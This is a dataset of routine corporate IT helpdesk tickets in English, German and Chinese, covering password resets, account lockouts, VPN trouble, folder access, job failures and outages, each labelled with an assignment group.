eonhuwlg sxthcobm cannot receive and send any emails to the external parties via his company email address. however, his colleague, wydorpzi taxcizwv wydorpzi.taxcizwv@gmail.com<mailto:wydorpzi.taxcizwv@gmail.com> can send and receive emails with no any issues.
kindly investigate the issue for debaghjsish and you can take sagar user to compare for the difference.
fyi, both of them are our fi outsource from partner and also got company email address in the same for fi operation support to us.
appreciate if you could prioritise to fix for us. , is assigned to Assignment group: GRP\_26.Ticket with Short description: lese- / schreibberechtigung fÃ¼r m:\kbt-auftrgasbearb, Description: hallo marfhtyio,\_x000D\_
\_x000D\_
bitte richte mir die lese- / schreibberechtigung fÃ¼r m:\kbt-auftrgasbearb ein.\_x000D\_
\_x000D\_
danke anfghyudrejy\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
freundliche grÃ¼ÃŸe / kind , is assigned to Assignment group: GRP\_12.Ticket with Short description: job Job\_2645 failed in job\_scheduler at: 09/06/2016 03:30:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_2645 failed in job\_scheduler at: 09/06/2016 03:30:00, is assigned to Assignment group: GRP\_6.Ticket with Short description: please review EU\_tool server in germany - HostName\_755 - EU\_tool is not working - very urgent, Description: please review EU\_tool server in germany - HostName\_755 - EU\_tool is not working - very urgent, is assigned to Assignment group: GRP\_25.Ticket with Short description: windows account locked , Description: windows account locked , is assigned to Assignment group: GRP\_0.Ticket with Short description: reset passwords for pyeothbl agfxelwz using password\_management\_tool password reset., Description: reset passwords for pyeothbl agfxelwz using password\_management\_tool password reset., is assigned to Assignment group: GRP\_0.Ticket with Short description: HostName\_53:volume: f:\ label:dat2-HostName\_53 d4e35b72 on server is over 95% space consumed. space available: 996.0 kb, Description: HostName\_53: f drive is 100% full., is assigned to Assignment group: GRP\_12.Ticket with Short description: reset passwords for pyeothbl agfxelwz using password\_management\_tool password reset., Description: please reset password aerp \_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: account password is expired , Description: account is expired , is assigned to Assignment group: GRP\_31.Ticket with Short description: job que processor for engg database stopped, please restart, Description: to the database team:\_x000D\_
the job processor for the engg production system has stopped, please restart.\_x000D\_
, is assigned to Assignment group: GRP\_58.Ticket with Short description: reset microsoft online services password, Description: from: microsoft on behalf of company inc. [mailto:msonlineservicesteam@microsoftonline.com]
sent: tuesday, september 06, 2016 11:38 am
to: nwfodmhc exurcwkm
cc: tiyhum kuyiomar
subject: rad:request to reset microsoft online services password for rmezbnqt.ntbmkpuh@gmail.com
importance: high
request to reset user's password
the following user in your organization has requested a password reset be performed for their account:
â€¢ rmezbnqt.ntbmkpuh@gmail.com
â€¢ first name: nihktgsh kurtyar
â€¢ last name: kaghjtra
consider contacting this user to validate this request is authentic before continuing.
if you have determined that this is a valid request, use your service's admin portal (office 365, windows intune, windows azure, etc.) to reset the password for this user.
want to let you users reset their own passwords? check out how you can enable password reset for users in your organization with just a few clicks.
sincerely,
company inc.
this message was sent from an unmonitored email address. please do not reply to this message.
, is assigned to Assignment group: GRP\_0.Ticket with Short description: not able to access SID\_1, Description:
received from: miecoszw.mhvbnodw@gmail.com
hi,
not able to access SID\_1 system
user id- heghjyder
gajthyana hegdergyt
manager- finance
miecoszw.mhvbnodw@gmail.com<mailto:miecoszw.mhvbnodw@gmail.com>
, is assigned to Assignment group: GRP\_0.Ticket with Short description: reset the password for guldiwmn aroqwuvz on erp / production / erp, Description: i cannot log or change my erp password. ploease help., is assigned to Assignment group: GRP\_0.Ticket with Short description: job Job\_1346 failed in job\_scheduler at: 09/06/2016 02:03:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1346 failed in job\_scheduler at: 09/06/2016 02:03:00, is assigned to Assignment group: GRP\_9.Ticket with Short description: vpn connection failure, Description: \_x000D\_
\_x000D\_
received from: xwertljy.zrmlhkyq@gmail.com\_x000D\_
\_x000D\_
hello,\_x000D\_
\_x000D\_
i am not able to connect to vpn.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: "\\HostName\_625\departments\ehs\_arbeitsmedizin": bitte den verantwortlichen Ã¤ndern von metghyjznk auf roedfghtec, Description: bitte den verantwortlichen des ordners "\\HostName\_625\departments\ehs\_arbeitsmedizin" Ã¤ndern von ozphysqw pgcmwqze (metghyjznk) auf clara rÃ¶der (roedfghtec) ... danke!
please change the owner of this folder to vhebydgs rtmjwyvk (roedfghtec), is assigned to Assignment group: GRP\_34.Ticket with Short description: not able to login to system wh my user id and details on new hardware replaced , Description: computer name : aiml7801004, is assigned to Assignment group: GRP\_19.Ticket with Short description: job Job\_1343 failed in job\_scheduler at: 09/06/2016 01:13:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1343 failed in job\_scheduler at: 09/06/2016 01:13:00, is assigned to Assignment group: GRP\_9.Ticket with Short description: åˆ é™¤äº†ä¸€ä¸ªexcel æ–‡æ¡£ï¼Œæ–‡æ¡£åœ°å€ï¼š\\HostName\_17\teams\business\c2 qualitycontrol\c25 quality project\c251 k100\weekly layered process audi, Description: åˆ é™¤äº†ä¸€ä¸ªexcel æ–‡æ¡£ï¼Œ"kmfg0042f01r00---lpa countermeasures ï¼ˆfy17 total),æ–‡æ¡£åœ°å€ï¼š\\HostName\_17\teams\business\c2 qualitycontrol\c25 quality project\c251 k100\weekly layered process audit\fy17, is assigned to Assignment group: GRP\_0.Ticket with Short description: virus scanned, Description: \_x000D\_
\_x000D\_
received from: pxbqkfgm.qexvrmcn@gmail.com\_x000D\_
\_x000D\_
hello,\_x000D\_
\_x000D\_
pls. do the needful.\_x000D\_
\_x000D\_
[cid:image003.jpg@01d20828.8bd3bff0]\_x000D\_
\_x000D\_
vivthyek byuihand\_x000D\_
asst manager- sales\_x000D\_
company india ltd, india.\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_50.Ticket with Short description: unable to connect to company wi-fi , Description: unable to connect to company wi-fi , is assigned to Assignment group: GRP\_0.Ticket with Short description: attendance\_tool id and password., Description: \_x000D\_
\_x000D\_
received from: ojgfmvep.zbatowgi@gmail.com\_x000D\_
\_x000D\_
hello,\_x000D\_
\_x000D\_
need help as i forgot my attendance\_tool login id and password.\_x000D\_
\_x000D\_
with best , is assigned to Assignment group: GRP\_0.Ticket with Short description: account locked out and password reset , Description: account locked out and password reset , is assigned to Assignment group: GRP\_0.Ticket with Short description: not able to add id01 as printer in my laptop, Description: not able to add id01 as printer in my laptop. after installing driver, system throws up an error - can't add printer., is assigned to Assignment group: GRP\_19.Ticket with Short description: job Job\_2110 failed in job\_scheduler at: 09/06/2016 00:05:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_2110 failed in job\_scheduler at: 09/06/2016 00:05:00, is assigned to Assignment group: GRP\_9.Ticket with Short description: ctrl, alt and delete keys are not working , Description: ctrl ,alt and delete keys are not working
unable to login to pc
dell latitude 6420
contact no
assisted user click on easy to access option
and enable type without key bankrd option
with help of cursor click on control ,alt and delete (no go)
delete button is not working
, is assigned to Assignment group: GRP\_19.Ticket with Short description: serious issue with transports in SID\_37, Description: we observed that request SID\_35k910228 was imported with warnings on 24th june has been re-imported twice on 16th july and 3rd sep. can you please check and share the details of why this is happening?\_x000D\_
\_x000D\_
this is a serious issue as this request is trying to over-write the changes that were done post this transport.\_x000D\_
, is assigned to Assignment group: GRP\_14.Ticket with Short description: reset microsoft online services password for jhyazros.azdxonjg@gmail.com, Description: from: microsoft on behalf of company inc. [mailto:msonlineservicesteam@microsoftonline.com]
sent: tuesday, september 06, 2016 8:54 am
to: nwfodmhc exurcwkm
cc: tiyhum kuyiomar
subject: rad:request to reset microsoft online services password for jhyazros.azdxonjg@gmail.com
importance: high
request to reset user's password
the following user in your organization has requested a password reset be performed for their account:
â€¢ jhyazros.azdxonjg@gmail.com
â€¢ first name: venfgugjhytpal
â€¢ last name: nythug
consider contacting this user to validate this request is authentic before continuing.
if you have determined that this is a valid request, use your service's admin portal (office 365, windows intune, windows azure, etc.) to reset the password for this user.
want to let you users reset their own passwords? check out how you can enable password reset for users in your organization with just a few clicks.
sincerely,
company inc.
this message was sent from an unmonitored email address. please do not reply to this message.
, is assigned to Assignment group: GRP\_0.Ticket with Short description: erp SID\_34 kis error, Description:
received from: pkdavqwt.tafrmxsh@gmail.com
hello it team,
dn 9168066866 was processed in erp kis, but its kis record was missed. its sf tracking number is 60666560449820.
could you find the cause and fix it?
, is assigned to Assignment group: GRP\_18.Ticket with Short description: folder access request., Description: \_x000D\_
\_x000D\_
received from: sepbdtou.noredzyx@gmail.com\_x000D\_
\_x000D\_
hi,\_x000D\_
\_x000D\_
please help to provide access to HostName\_64\departments as follows:\_x000D\_
p:\financemssg-apac\partner\ctc\_x000D\_
person to access:\_x000D\_
lxkecjgr fwknxupq : lxkecjgr.fwknxupq@gmail.com<mailto:lxkecjgr.fwknxupq@gmail.com>\_x000D\_
fjzywdpg vkdobexr : fjzywdpg.vkdobexr@gmail.com<mailto:fjzywdpg.vkdobexr@gmail.com>\_x000D\_
tnorudbf lauftqmd: tnorudbf.lauftqmd@gmail.com\_x000D\_
\_x000D\_
p:\financemssg-apac\partner\rtr\_x000D\_
person to access:\_x000D\_
qcjevayr xirwgjks: qcjevayr.xirwgjks@gmail.com<mailto:qcjevayr.xirwgjks@gmail.com>\_x000D\_
nil madhaw rai: hkjfmcqo.gpcxltar@gmail.com<mailto:hkjfmcqo.gpcxltar@gmail.com>\_x000D\_
uyocgasl ogabwxzv: uyocgasl.ogabwxzv@gmail.com<mailto:uyocgasl.ogabwxzv@gmail.com>\_x000D\_
nfdtriwx lriupqct: nfdtriwx.lriupqct@gmail.com<mailto:nfdtriwx.lriupqct@gmail.com>\_x000D\_
\_x000D\_
level of access: full control\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_12.Ticket with Short description: unable to login windows, Description: unable to login windows, is assigned to Assignment group: GRP\_19.Ticket with Short description: system is not booting up, Description: system is not booting up, is assigned to Assignment group: GRP\_19.Ticket with Short description: windows account locked , Description: windows account locked , is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to receive mail from bank of amerirtca (cash pro online), Description: i have raised a request for access in the bank portal but i cannot receive mail from them.\_x000D\_
kindly assist., is assigned to Assignment group: GRP\_26.Ticket with Short description: windows account locked , Description: windows account locked , is assigned to Assignment group: GRP\_0.Ticket with Short description: account locked out and password reset , Description: account locked out and password reset , is assigned to Assignment group: GRP\_0.Ticket with Short description: job Job\_2555 failed in job\_scheduler at: 09/05/2016 22:00:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_2555 failed in job\_scheduler at: 09/05/2016 22:00:00, is assigned to Assignment group: GRP\_10.Ticket with Short description: can not serch my engineering\_tool, Description: hello\_x000D\_
i can not serch for my engineering\_tool if i specify the date.\_x000D\_
the error on the bottom of the window shows that i do not have the access to it.\_x000D\_
please give me the access.\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: gtehdnyu belt tracker, Description:
received from: sdbcpvtx.hzpctsla@gmail.com
above is the link to the gtehdnyu belt tracker. the person who generated this site (nicrhty pfgyhtu) and wrote the original programdnty had it set up so that the full time oe personnel did not ever receive recertification notices and warnings. all of a sudden this week we are all receiving those emails. i am attaching one of the emails.
the list of oe personnel who should not receive these emails for any gtehdnyu belts:
clswzxoq higqaepr
pattghyuy karcgdwswski
dkinobsv wymgzcrh
ykolismx kbysnuim
yhroaeqj djtyroha
phksfqxe wkbovsmu
dshferby houtnzdi
mikhghytr gerusky
jafgty verghjuen
i am double checking to see if my list is complete.
these people are full time oe and permanently certified.
please let me know what else you need.
, is assigned to Assignment group: GRP\_16.Ticket with Short description: user needs help login to the company vpn., Description: user needs help login to the company vpn., is assigned to Assignment group: GRP\_0.Ticket with Short description: telephony\_software password has expired, Description: my telephony\_software password is getting expired today. please reset the password and let me know so that i can login.
user id - mukghyuhea
contact no - , is assigned to Assignment group: GRP\_7.Ticket with Short description: collaboration\_platform application uninstalled , Description: collaboration\_platform application uninstalled , is assigned to Assignment group: GRP\_0.Ticket with Short description: "scghhnelligkeit" meines internets plnvcwuq ikupsjhb ( umstellung auf ip / anpassung router speedport w504v !? ) , Description:
received from: jclrangd.kjlnearz@gmail.com
hallo frau muejkipler,
ich hoffe sie sind fÃ¼r diesen fall die richtige ansprechpartnerin bzw. wissen wer hier herrn plnvcwuq ikupsjhb noch weiter helfen kann.
herr voigt ist nicht mehr greifbar und herr gerberghty im urlaub. ich wÃ¼rde vermuten, dass hier eine direkte klÃ¤rung und mithilfe bzgl. beurteilung u.a. der telekom notwendig ist.
allerdings ist mir nicht bekannt wie aktuell der stand im unternehmen company ist bzgl. ip umstellung.
oder mÃ¼ssen wir warten bis herr gerberghty aus dem urlaub ist !?
mit freundlichen grÃ¼ÃŸen / with kind , is assigned to Assignment group: GRP\_0.Ticket with Short description: HostName\_1132: oracle finance\_app financial management - web tier (epmsystem2) - service monitor(down), Description: oracle finance\_app financial management - web tier (epmsystem2) - service monitor(down), is assigned to Assignment group: GRP\_12.Ticket with Short description: can u pl. check if server HostName\_637 is working fine, Description: from: nanrfakurtyar c
sent: monday, 05 september, 2016 8:49 pm
to: -dba
subject: can u pl. check if server HostName\_637 is working fine
can u pl. check if server HostName\_637 is working fine.
also check edmsm011
, is assigned to Assignment group: GRP\_1.Ticket with Short description: password reset : login issues, Description: password reset : login issues, is assigned to Assignment group: GRP\_0.Ticket with Short description: restore o:\schaem\eigene dateien\db1.mdb, Description: hallo
wÃ¼rdest du bitte diese datei "o:\schaem\eigene dateien\db1.mdb" zurÃ¼cksetzen
es scheint alles nicht mehr zu funktionieren
danke
cflrqoew qbgjwaye
process planning
cflrqoew.qbgjwaye@gmail.com
, is assigned to Assignment group: GRP\_12.Ticket with Short description: restore directory schulzgth from public, Description: hallo marfhtyio,\_x000D\_
\_x000D\_
\_x000D\_
der ordner schulzgth aus dem laufwerk public (\\HostName\_717)ist mir abhandengekommen, kannst mir den wieder zurÃ¼ck holen? und ihn dann auf laufwerk, departments (\\HostName\_717), distribution, formulare reinstellen, vielen dank im voraus.\_x000D\_
\_x000D\_
\_x000D\_
kind , is assigned to Assignment group: GRP\_12.Ticket with Short description: EU\_tool not run since 03.00 p.m we didn't have any information about sistem shut down, Description: EU\_tool not run since 03.00 p.m we didn't have any information about sistem shut down, is assigned to Assignment group: GRP\_25.Ticket with Short description: i'm on vacation, and my vpn isn't working. can you reset it for me?, Description: , vpn, is assigned to Assignment group: GRP\_50.Ticket with Short description: webpage won't load, Description:
received from: vkzwafuh.tcjnuswg@gmail.com
hi,
i have been having trouble getting some webpages to load.
1st one is on the insurance site to change password. when i try to log on to the site it says i need to update my password. when i click on the ok all i get is a blank page. see below. please advise.
[cid:image001.png@01d20755.724b5580]
[cid:image002.jpg@01d20755.724b5580]
vkzwafuh tcjnuswg - cmp
sr. application eng.
vkzwafuh.tcjnuswg@gmail.com
, is assigned to Assignment group: GRP\_0.Ticket with Short description: account lock release request of "kanghytaim", Description: account lock release request of "kanghytaim", is assigned to Assignment group: GRP\_0.Ticket with Short description: am keyence messgerÃ¤t monitor ausgetauscht, Description: am keyence messgerÃ¤t monitor ausgetauscht, is assigned to Assignment group: GRP\_42.Ticket with Short description: probleme mit ie \dwgliuyt ieqgdpbm, Description: probleme mit ie \dwgliuyt ieqgdpbm, is assigned to Assignment group: GRP\_24.Ticket with Short description: probleme mit ewew8311667 \wrcktgbd wzrgyunp, Description: probleme mit ewew8311667 \wrcktgbd wzrgyunp, is assigned to Assignment group: GRP\_24.Ticket with Short description: tÃ¼r- Ã¶ffnerfunktion geht nicht., Description: keine tÃ¼r- Ã¶ffnerfunktion bei folgenden zeiterfassungskarten mÃ¶glich.\_x000D\_
6045;4586;10039;2494;4646;6081;6082, is assigned to Assignment group: GRP\_0.Ticket with Short description: business\_client issue, Description: \_x000D\_
\_x000D\_
received from: frydqbgs.ugmnzfik@gmail.com\_x000D\_
\_x000D\_
hello all,\_x000D\_
\_x000D\_
net weaver business client doesn't work with the message below. it's daily required function, please fix soon.\_x000D\_
\_x000D\_
\_x000D\_
[cid:image003.jpg@01d2077b.7c080d40]\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: balance carry forward for ap and ar report , Description: \_x000D\_
\_x000D\_
received from: ihfkwzjd.erbxoyqk@gmail.com\_x000D\_
\_x000D\_
dear it team\_x000D\_
\_x000D\_
i have run report as below i found that balance carry forward is not shown on the report both ap and ar report. please advise.\_x000D\_
\_x000D\_
\_x000D\_
[cid:image002.jpg@01d2079b.c1165fc0]\_x000D\_
\_x000D\_
\_x000D\_
[cid:image004.jpg@01d2079b.c1165fc0]\_x000D\_
\_x000D\_
\_x000D\_
[cid:image006.jpg@01d2079b.c1165fc0]\_x000D\_
\_x000D\_
[cid:image012.jpg@01d2079b.c1165fc0]\_x000D\_
\_x000D\_
best , is assigned to Assignment group: GRP\_10.Ticket with Short description: re: finished: start of s&op process - my account is blocked - password issue, Description: it support \_x000D\_
could you please unlocked my account on supply\_chain\_software\_x000D\_
best , is assigned to Assignment group: GRP\_0.Ticket with Short description: awb not printed out, Description: can you please have a look to this, there seems to be no output in c:\shipping. to see this i had stopped ecs\_print. it is dhl from apac to japan but other countries also affected\_x000D\_
\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_18.Ticket with Short description: job Job\_1953 was running longer than 30 minutes kirtyled and rerun, Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1953 failed in job\_scheduler at: 09/05/2016 05:40:00, is assigned to Assignment group: GRP\_6.Ticket with Short description: tastatur defekt \wcupoaty fqnzwphj, Description: tastatur defekt \wcupoaty fqnzwphj, is assigned to Assignment group: GRP\_24.Ticket with Short description: erp locked, Description:
received from: xosycftu.olhpmsdw@gmail.com
hello
please unlock my password for erp.
i need to change my password soon.
user id: songhyody
, is assigned to Assignment group: GRP\_0.Ticket with Short description: job Job\_3181 failed in job\_scheduler at: 09/05/2016 05:00:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_3181 failed in job\_scheduler at: 09/05/2016 05:00:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: æŠ¥ç¨Žç”µè„‘ä¸èƒ½è”ç½‘ï¼Œè®©è´ºæ­£å¹³ä¼‘ã€‚, Description: æŠ¥ç¨Žç”µè„‘ä¸èƒ½è”ç½‘ï¼Œè®©è´ºæ­£å¹³ä¼‘ã€‚, is assigned to Assignment group: GRP\_30.Ticket with Short description: abap runtime error with transaction zload, Description: system (SID\_34, SID\_37, SID\_39, SID\_38, hrp, other ?): SID\_34\_x000D\_
\_x000D\_
enter user id of user having the issue: all user in plant\_119 and plant\_27\_x000D\_
\_x000D\_
transaction code(s) the user needs or was working with: zload\_x000D\_
\_x000D\_
describe the issue: abap runtime error\_x000D\_
\_x000D\_
if you are getting a "not authorized" message, recreate the condition then do /nsu53 and attach result to the ticketing\_tool ticket.\_x000D\_
\_x000D\_
provide access the same as this other user:, is assigned to Assignment group: GRP\_0.Ticket with Short description: reset passwords for qgilmtyc gmscovxa using password\_management\_tool password reset., Description: the, is assigned to Assignment group: GRP\_17.Ticket with Short description: archiving\_tool scanner not working , Description: archiving\_tool scanner not working.\_x000D\_
\_x000D\_
please upgrade open text imaging scan to 10.2.0\_x000D\_
opentext imaging enterprise scan 10..2.0\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: reset passwords for rlhuwmve krcfhoxj using password\_management\_tool password reset., Description: please reseat SID\_1. i need to uacyltoe hxgaycze something., is assigned to Assignment group: GRP\_17.Ticket with Short description: computer can't started , Description: computer can't started , is assigned to Assignment group: GRP\_31.Ticket with Short description: defekt lwl leitung \box defekt \vaigycet jtgmpdcr, Description: defekt lwl leitung \box defekt \vaigycet jtgmpdcr, is assigned to Assignment group: GRP\_24.Ticket with Short description: ieæµè§ˆå™¨æ— æ³•æ‰“å¼€ã€‚, Description: ieæµè§ˆå™¨æ— æ³•æ‰“å¼€ã€‚, is assigned to Assignment group: GRP\_31.Ticket with Short description: ç³»ç»Ÿæ•…éšœï¼Œå¯åŠ¨è“å±., Description: ç³»ç»Ÿæ•…éšœï¼Œå¯åŠ¨è“å±. , is assigned to Assignment group: GRP\_31.Ticket with Short description: erp SID\_34 account locked., Description: erp SID\_34 account locked., is assigned to Assignment group: GRP\_0.Ticket with Short description: guestcompany access for wifi, Description: \_x000D\_
\_x000D\_
received from: htnvbwxs.gwfrzuex@gmail.com\_x000D\_
\_x000D\_
good morning.\_x000D\_
\_x000D\_
i have our coivmhwj opwckbrv here, and would like for them to access to guestcompany wifi.\_x000D\_
\_x000D\_
there will be 5 of them.\_x000D\_
\_x000D\_
they will be here for 3 weeks.\_x000D\_
\_x000D\_
do i need to create separate accesses for them or can they share 1 login access?\_x000D\_
\_x000D\_
please advise.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: account locked., Description: account locked., is assigned to Assignment group: GRP\_0.Ticket with Short description: after changing to new group, several workflow items from old group are (still) visible in new groups workflow, too /-154, Description: phone:
changed from milling team csd 5111156895 to holemaking team csd 515611894, but still several workflow items from old group are visible in new groups workflow, too. erp substitution was ended by old team, as far as i was informed., is assigned to Assignment group: GRP\_13.Ticket with Short description: job Job\_1315 failed in job\_scheduler at: 09/05/2016 02:12:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1315 failed in job\_scheduler at: 09/05/2016 02:12:00, is assigned to Assignment group: GRP\_9.Ticket with Short description: reset passwords for bxeagsmt zrwdgsco using password\_management\_tool password reset., Description: the, is assigned to Assignment group: GRP\_17.Ticket with Short description: [erp] query "zload" for production scheduling is generating abap error message, Description: got forwarded an email regarding erp query zload generating error message. \_x000D\_
\_x000D\_
see attachment for further details.\_x000D\_
\_x000D\_
i'm not sure how big of an impact this has so currently opening with sev3 - feel free to raise the priority in case this is a known important query.\_x000D\_
\_x000D\_
best , is assigned to Assignment group: GRP\_20.Ticket with Short description: vip2 -enable to save to local pc in citrix with erp gui. assign to whomever supports citrix., Description: vendor is creating reports for the usa carve-out and is unable to save reports to the local pc. she is using the erp gui. a solution must be provided immediately if not sooner as this will delay the project.
description form the vendor (vvgtybyrn):
once i am running reports, where can i save them? i need to save them as unconverted text, & then i need to open each in excel & make a few formatheywting changes before i save it & send to the team leads. i ran a uacyltoe hxgaycze using se38 for the programdnty attached to the transaction, & i cannot save to my own machine. i did try a thumb drive, but that was also unsuccessful. is there somewhere on the network where i can save them & then someone can send them to me so i can format them on my own machine & send them out? or if you have another idea on how we can accomplish it, that would be great.
, is assigned to Assignment group: GRP\_12.Ticket with Short description: account locked out, Description: \_x000D\_
\_x000D\_
received from: vhlepcta.lqbgcxpt@gmail.com\_x000D\_
\_x000D\_
hello team,\_x000D\_
abdhtyu account is locked out, could you please check?\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: power outage: usa tn, tm-usa-att-rtr circuit went down at 03:04 am et on 09/05. global\_telecom\_1 ticket# 690500063, Description: usa tn, tm-usa-att-rtr circuit went down at 03:04 am et on 09/05. servers also went down but we see comcast circuit is up.\_x000D\_
\_x000D\_
usa tn, tm-usa-att-rtr - interface 'gigabitetâ€‹hernet0/1 Â· " connection to nexus5k001 "' has state: down since 11:52 pm et on 09/04., is assigned to Assignment group: GRP\_8.Ticket with Short description: access to network folder, Description:
received from: sxnzacoj.lwvqgfby@gmail.com
please provide read and write access to mr. frseoupk feluybrn and karghytuthik for following network folder
\\HostName\_95\grinding
, is assigned to Assignment group: GRP\_12.Ticket with Short description: not able to log on to hub from remote location, urgent please call., Description: \_x000D\_
\_x000D\_
received from: slfxjznk.hmspexor@gmail.com\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: job hr\_payroll\_na\_u2 failed in job\_scheduler at: 09/04/2016 23:00:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job hr\_payroll\_na\_u2 failed in job\_scheduler at: 09/04/2016 23:00:00, is assigned to Assignment group: GRP\_10.Ticket with Short description: job hr\_payroll\_na\_u1 failed in job\_scheduler at: 09/04/2016 23:00:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job hr\_payroll\_na\_u1 failed in job\_scheduler at: 09/04/2016 23:00:00, is assigned to Assignment group: GRP\_10.Ticket with Short description: job hr\_payroll\_na\_u6 failed in job\_scheduler at: 09/04/2016 23:00:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job hr\_payroll\_na\_u6 failed in job\_scheduler at: 09/04/2016 23:00:00, is assigned to Assignment group: GRP\_10.Ticket with Short description: vpn(apvpn ,vpn) unable to connection . , Description: vpn(apvpn ,vpn) unable to connection . , is assigned to Assignment group: GRP\_31.Ticket with Short description: unable to generate po as per pr 3063.41.49.092, Description: we've found the pop-up error when generating sto as per pr# 4121022907/00001 as attached, please help fixing this issue aerp., , is assigned to Assignment group: GRP\_29.Ticket with Short description: please unlock my erp, Description: \_x000D\_
\_x000D\_
received from: xosycftu.olhpmsdw@gmail.com\_x000D\_
\_x000D\_
hello\_x000D\_
\_x000D\_
please unlock my erp.\_x000D\_
\_x000D\_
user id: songhyody\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: mm# 5260903 ( kr230 ), Description: \_x000D\_
\_x000D\_
received from: hmjdrvpb.komuaywn@gmail.com\_x000D\_
\_x000D\_
hello,\_x000D\_
\_x000D\_
could you please organise the mwst % tax for 1301 / 02, 03, 05 on the abovementioned rqfhiong zkwfqagb number?\_x000D\_
\_x000D\_
kind , is assigned to Assignment group: GRP\_29.Ticket with Short description: i forgot my erp password, Description: \_x000D\_
\_x000D\_
received from: uwlnpscr.lvkujfse@gmail.com\_x000D\_
\_x000D\_
dears,\_x000D\_
\_x000D\_
i forgot my erp password. could you help me to reset it? , is assigned to Assignment group: GRP\_0.Ticket with Short description: the terminate action for nyzxjwud jvtsgmin has completed., Description:
-----original message-----
from: jobxpkrg klonypzr [mailto:system@hr\_tool.com]
sent: monday, september 05, 2016 6:08 am
to: nwfodmhc exurcwkm
subject: the terminate action for nyzxjwud jvtsgmin has completed.
hello ,
a termination for nyzxjwud jvtsgmin, 1133645201, effective 08/25/2016 has been approved.
click the link to view.
, is assigned to Assignment group: GRP\_2.Ticket with Short description: network outage at usa since 8:40pm et 09/04., Description: what type of outage: \_\_x\_\_\_network \_\_\_\_\_circuit \_\_\_\_\_power (please specify what type of outage)\_x000D\_
\_x000D\_
1. top 23 cert site ? \_\_\_\_yes\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
2. when did it start ? \_\_\_\_8:40pm et 09/04.\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
3. scheduled maintenance ( power) ? \_\_\_no\_\_\_\_ (yes/no/na) company power \_\_\_\_\_\_\_\_\_ provider power \_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
4. scheduled maintenance ( network) ? \_\_\_no\_\_\_\_ (yes/no/na) company maint\_\_\_\_\_\_\_\_ (yes/no) provider maint/ticket #\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
5. does site have a backup circuit ? \_\_yes\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
6. backup circuit active ? \_\_no\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
7. site contact notified (phone/email) ? \_\_\_\_yes\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
8. remote dial-in ? \_\_\_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
9. equipment reset ? \_\_\_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
10. verified site working on backup circuit ? \_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
11. vendor ticket # ( global\_telecom\_1, verizon, telecom\_vendor\_1, telecom\_vendor\_2 ) \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
12. notified gsc \_\_\_\_\_\_\_\_ (yes/no/na) cert started ?\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
13. additional diagnostics, is assigned to Assignment group: GRP\_8.Ticket with Short description: zcor0003 report issue, Description: please provide details in the template below (if multiple applications are impacted, please use the quick ticket template in the "operations" folder).\_x000D\_
site / location : apac apac\_x000D\_
user id (ad) :lia1\_x000D\_
system you are seeing performance problems on (please list all) (e.g., crm, erp, bw, bobj):erp\_x000D\_
transactions that are slow (e.g., va01, create an order): zcor0003\_x000D\_
area this belongs to (e.g., sales, finance, markhtyeting etc.):fin\_x000D\_
how can this issue be replicated by the it support group: zcor0003 report is used to get shipment data. there is variant tj331, now the data is incorrect for this report, would you please help to check what's the issue? we find the problem on sep 2.\_x000D\_
the shipment details for aug is download on sep 1 as attached. this report is running daily to tracking shipment. \_x000D\_
if you need other information, you can contact me. \_x000D\_
are other users seeing this? other users in tj \_x000D\_
please attach relevant screenshots and exact times when the issue occurred:, is assigned to Assignment group: GRP\_10.Ticket with Short description: help to change the windows password using password\_management\_tool password tool. , Description: help to change the windows password using password\_management\_tool password tool.
-connected to the user system using teamviewer.
-help the user login to the password\_manager\_tool password tool and change the passwords.
-help the user to sync the psswords to the company network.
-caller confirmed that he was able to login.
-issue resolved.
